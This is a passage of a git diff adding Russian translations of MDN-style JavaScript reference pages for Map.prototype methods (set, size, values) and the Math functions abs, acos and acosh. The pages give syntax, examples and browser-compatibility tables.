+ <dd>Возвращает новый объект итератора - new <code>Iterator</code>, который содержит <strong>массив из [key, value]</strong> для каждого элемента в объекте <code>Map</code> в порядке добавления. </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-map.prototype', 'Map.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>38</td>
+   <td>{{ CompatGeckoDesktop("13") }}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("13")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>8</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/set/index.html b/files/ru/web/javascript/reference/global_objects/map/set/index.html
new file mode 100644
index 0000000000..b3f13a7fe5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/set/index.html
@@ -0,0 +1,140 @@
+---
+title: Map.prototype.set()
+slug: Web/JavaScript/Reference/Global_Objects/Map/set
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/set
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>set()</strong></code> добавляет объекту {{jsxref("Map")}} новый элемент или обновляет существующий с указанными значениями <code>key</code> и <code>value</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.set(key, value);</code></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Ключ добавляемого элемента.</dd>
+ <dt>value</dt>
+ <dd>Значение добавляемого элемента.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект {{jsxref("Map")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_set()">Использование метода <code>set()</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+
+// Добавление нового элемента объекту Map
+myMap.set('bar', 'foo');
+myMap.set(1, 'foobar');
+
+// Обновление существующего элемента
+myMap.set('bar', 'baz');
+</pre>
+
+<h3 id="Последовательное_использование_метода_set()">Последовательное использование метода <code>set()</code></h3>
+
+<p>Так как метод <code>set()</code> возвращает объект <code>Map</code>, Вы можете последовательно применять метод <code>set()</code> как в примере ниже:</p>
+
+<pre class="brush: js"><code>// Последовательно добавляет новые элементы в myMap:
+myMap.set('bar', 'foo')
+     .set(1, 'foobar')
+     .set(2, 'baz');</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>11</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Примечание_к_поддержке_браузерами">Примечание к поддержке браузерами</h2>
+
+<ul>
+ <li>В Firefox 33 {{geckoRelease("33")}} и более ранних версиях <code>Map.prototype.set</code> возвращал <code>undefined</code> и не был доступен вызов его в цепочке. Это было поправлено ({{bug(1031632)}}). Данное поведение было также обнаружено в Chrome/v8 (<a href="https://code.google.com/p/v8/issues/detail?id=3410">issue</a>) и IE11.</li>
+</ul>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/size/index.html b/files/ru/web/javascript/reference/global_objects/map/size/index.html
new file mode 100644
index 0000000000..7716b386fd
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/size/index.html
@@ -0,0 +1,112 @@
+---
+title: Map.prototype.size
+slug: Web/JavaScript/Reference/Global_Objects/Map/size
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/size
+---
+<div>{{JSRef}}</div>
+
+<p>Геттер <code>size</code> возвращает количество элементов в объекте {{jsxref("Map")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Значение <code>size</code> - целое число, описывающее, сколько элементов имеет объект Map. У свойства <code>size</code> не определён сеттер: переопределить его нельзя.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_size">Использование <code>size</code></h3>
+
+<pre class="brush:js notranslate">var myMap = new Map();
+myMap.set("a", "альфа");
+myMap.set("b", "бета");
+myMap.set("g", "гамма");
+
+myMap.size // 3
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Первое определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{ CompatGeckoDesktop("19") }}</td>
+   <td>{{ CompatIE("11") }}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Замечания_для_Gecko">Замечания для Gecko</h2>
+
+<ul>
+ <li>С версии Gecko 13 {{geckoRelease("13")}} до Gecko 18 {{geckoRelease("18")}} свойство <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">size</span></font> было методом <code>Map.prototype.size</code>, но это было изменено в поздних версиях чтобы соответствовать спецификации ECMAScript 2015 ({{bug("807001")}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/map/values/index.html b/files/ru/web/javascript/reference/global_objects/map/values/index.html
new file mode 100644
index 0000000000..6267dab64e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/map/values/index.html
@@ -0,0 +1,116 @@
+---
+title: Map.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Map/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/values
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>values()</strong></code> возвращает новый <strong><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итератор</a></strong>, содержащий значения каждого элемента в объекте {{jsxref("Map")}} в том порядке, в котором они были заведены.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.values()</code></pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый итератор объекта {{jsxref("Map")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_values()">Использование <code>values()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.values();
+
+console.log(mapIter.next().value); // "foo"
+console.log(mapIter.next().value); // "bar"
+console.log(mapIter.next().value); // "baz"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("20") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("20") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/abs/index.html b/files/ru/web/javascript/reference/global_objects/math/abs/index.html
new file mode 100644
index 0000000000..2d46eb6650
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/abs/index.html
@@ -0,0 +1,100 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Reference/Global_Objects/Math/abs
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.abs()</code></strong> возвращает абсолютное значение числа. то есть</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>≥</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{if} \quad x \geq 0 \\ x &amp; \text{if} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.abs(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>abs()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.abs()</code>, а не пытаться вызывать метод на созданном объекте <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Math.abs_behavior" name="Example:_Math.abs_behavior">Пример: поведение метода <code>Math.abs()</code></h3>
+
+<p>Метод вернёт {{jsxref("NaN")}}, если в него передать нечисловую строку или значение {{jsxref("undefined")}}/ничего не передавать. Метод вернёт 0, если в него передать значение {{jsxref("null")}}.</p>
+
+<pre class="brush: js">Math.abs('-1');     // 1
+Math.abs(-2);       // 2
+Math.abs(null);     // 0
+Math.abs('');       // 0
+Math.abs([]);       // 0
+Math.abs([2]);      // 2
+Math.abs([1,2]);    // NaN
+Math.abs({});       // NaN
+Math.abs('string'); // NaN
+Math.abs();         // NaN
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="Browser_compatibility" name="Browser_compatibility"><br>
+ Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Math.abs")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/acos/index.html b/files/ru/web/javascript/reference/global_objects/math/acos/index.html
new file mode 100644
index 0000000000..0506d944ab
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/acos/index.html
@@ -0,0 +1,125 @@
+---
+title: Math.acos()
+slug: Web/JavaScript/Reference/Global_Objects/Math/acos
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Math.acos()</code></strong> возвращает арккосинус числа (в радианах), то есть</p>
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> уникальный </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ уникальный } \; y \in [0; \pi] \, \text{такой, что} \; \cos(y) = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>Math.acos(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>Math.acos()</code> возвращает числовое значение между 0 и π радианами для значения <code>x</code>, лежащего в диапазоне от -1 до 1. Метод вернёт {{jsxref("NaN")}}, если значение <code>x</code> выйдет за этот диапазон.</p>
+<p>Поскольку метод <code>acos()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.acos()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.acos" name="Example:_Using_Math.acos">Пример: использование метода <code>Math.acos()</code></h3>
+<pre class="brush:js">Math.acos(-2);  // NaN
+Math.acos(-1);  // 3.141592653589793
+Math.acos(0);   // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1);   // 0
+Math.acos(2);   // NaN
+</pre>
+<p>Для значений, меньших -1 или больших 1, метод <code>Math.acos()</code> возвращает {{jsxref("NaN")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/math/acosh/index.html b/files/ru/web/javascript/reference/global_objects/math/acosh/index.html
new file mode 100644
index 0000000000..7dc0900c24
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/math/acosh/index.html
@@ -0,0 +1,136 @@
+---
+title: Math.acosh()
+slug: Web/JavaScript/Reference/Global_Objects/Math/acosh
+tags:
+  - Experimental
+  - Expérimental(2)
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Math.acosh()</code></strong> возвращает гиперболический арккосинус числа, то есть</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>1</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acosh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arcosh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> уникальный </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>такой, что</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cosh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ уникальный } \; y \geq 0 \; \text{такой, что} \; \cosh(y) = x</annotation></semantics></math></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Math.acosh(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Поскольку метод <code>acosh()</code> является статическим методом объекта <code>Math</code>, вы всегда должны использовать его как <code>Math.acosh()</code>, а не пытаться вызывать метод на созданном экземпляре объекта <code>Math</code> (поскольку объект <code>Math</code> не является конструктором).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_Math.acosh" name="Example:_Using_Math.acosh">Пример: использование метода <code>Math.acosh()</code></h3>
+
+<pre class="brush: js">Math.acosh(-1); // NaN
+Math.acosh(0);  // NaN
+Math.acosh(0.5) // NaN
+Math.acosh(1);  // 0
+Math.acosh(2);  // 1.3169578969248166
+</pre>
+
+<p>Для значений, меньших 1, метод <code>Math.acosh()</code> возвращает {{jsxref("NaN")}}.</p>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Для всех <math><semantics><mrow><mi>x</mi><mo>≥</mo><mn>1</mn></mrow><annotation encoding="TeX">x \geq 1</annotation></semantics></math>, мы имеем <math><semantics><mrow><mo lspace="0em" rspace="thinmathspace">arcosh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mrow><mo>(</mo><mrow><mi>x</mi><mo>+</mo><msqrt><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>-</mo><mn>1</mn></mrow></msqrt></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right)</annotation></semantics></math>, так что этот метод может эмулироваться следующим образом:</p>
+
+<pre class="brush: js">Math.acosh = Math.acosh || function(x) {
+  return Math.log(x + Math.sqrt(x * x - 1));
+};
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acosh', 'Math.acosh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("7.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>iOS 8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Math.asinh()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.atanh()")}} {{experimental_inline}}</li>
